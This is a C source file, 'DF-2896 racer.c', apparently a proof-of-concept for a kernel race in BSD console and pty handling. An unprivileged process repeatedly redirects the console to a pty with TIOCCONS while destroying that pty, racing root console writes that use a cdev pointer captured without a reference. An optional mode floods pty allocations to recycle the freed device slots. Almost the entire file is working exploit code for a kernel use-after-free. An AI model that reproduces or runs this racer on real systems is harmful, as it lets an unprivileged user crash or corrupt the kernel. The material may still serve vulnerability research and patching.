DF-2896 / racer.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 | /* * DF-2896 racer (UNPRIVILEGED) * * Rapidly cycles constty between "our pty" and NULL while tearing the * pty's cdev down, racing root /dev/console writers whose cnwrite() * captured constty->t_dev and are sleeping in log_console(). * * sys/kern/tty_cons.c:cnwrite(): * if (constty) * dev = constty->t_dev; <-- captured, no ref, no token * ... * log_console(uio); <-- sleeps / runs for ms * ap->a_head.a_dev = dev; * return (dev_doperate(&ap->a_head)); <-- dispatch through possibly * destroyed+recycled cdev * * Teardown we race against (all under pti->pt_tty.t_token, which cnwrite * does NOT hold): * ptsclose -> ttyclose: constty = NULL (kern/tty.c:251) * ptcclose -> pti_done: t_dev = NULL; (kern/tty_pty.c:289) * destroy_dev(devs/devc) (kern/tty_pty.c:284) * devfs thread -> release_dev x3 -> cdev freed (sysref), slot recycled * next pty open -> sysref_alloc + bzero(< si_sysref) => si_ops == NULL * transiently (devfs_core.c) */ #include <sys/types.h> #include <sys/ioctl.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define NKEEP 600 /* ptys held per generation (mode hold) */ #define HOLD_MS 12 static int mode_hold; static void hold_generation(void) { static int kept[NKEEP]; int i, n = 0; while (n < NKEEP) { int m = open("/dev/ptmx", O_RDWR); if (m < 0) { usleep(2000); continue; } if (grantpt(m) == 0 && unlockpt(m) == 0) { char name[64], *pn = ptsname(m); int s = -1; if (pn) { snprintf(name, sizeof(name), "%s", pn); s = open(name, O_RDWR | O_NONBLOCK); } if (s >= 0) { kept[n++] = s; continue; /* keep slave, close master */ } } close(m); } /* generation complete: hold briefly, then release everything so * the slots cycle back and a new generation re-inits them */ usleep(50000); for (i = 0; i < n; i++) close(kept[i]); } static void drain(int fd) { char buf[4096]; int n; do { n = read(fd, buf, sizeof(buf)); } while (n == (int)sizeof(buf)); } int main(int argc, char **argv) { unsigned long iters = 0; useconds_t hold = HOLD_MS * 1000; int i; if (argc > 2 && strcmp(argv[2], "hold") == 0) mode_hold = 1; if (argc > 1) hold = (useconds_t)atoi(argv[1]) * 1000; setvbuf(stdout, NULL, _IONBF, 0); printf("racer: uid=%d mode=%s hold=%dus\n", getuid(), mode_hold ? "hold" : "cycle", hold); if (mode_hold) { for (;;) hold_generation(); } for (;;) { int m, s, on = 1; char name[64], *pn; m = open("/dev/ptmx", O_RDWR); if (m < 0) { if ((iters & 0x3f) == 0) perror("open ptmx"); usleep(10000); continue; } if (grantpt(m) || unlockpt(m)) { close(m); continue; } pn = ptsname(m); if (pn == NULL) { close(m); continue; } snprintf(name, sizeof(name), "%s", pn); s = open(name, O_RDWR | O_NONBLOCK); if (s < 0) { close(m); continue; } if (ioctl(s, TIOCCONS, &on) < 0) { /* EBUSY when another constty lingers: retry */ if ((iters & 0x3f) == 0) printf("TIOCCONS: %s\n", strerror(errno)); close(s); close(m); usleep(200); continue; } /* * constty == our tty for the hold window; drain the master * so forwarded console writes do not block, then tear it * down and IMMEDIATELY re-attach constty on the next pty so * the serial console is exposed only for the tiny gap. */ usleep(hold); drain(m); close(s); close(m); iters++; if ((iters & 0x3f) == 0) printf("racer: %lu iterations\n", iters); } } |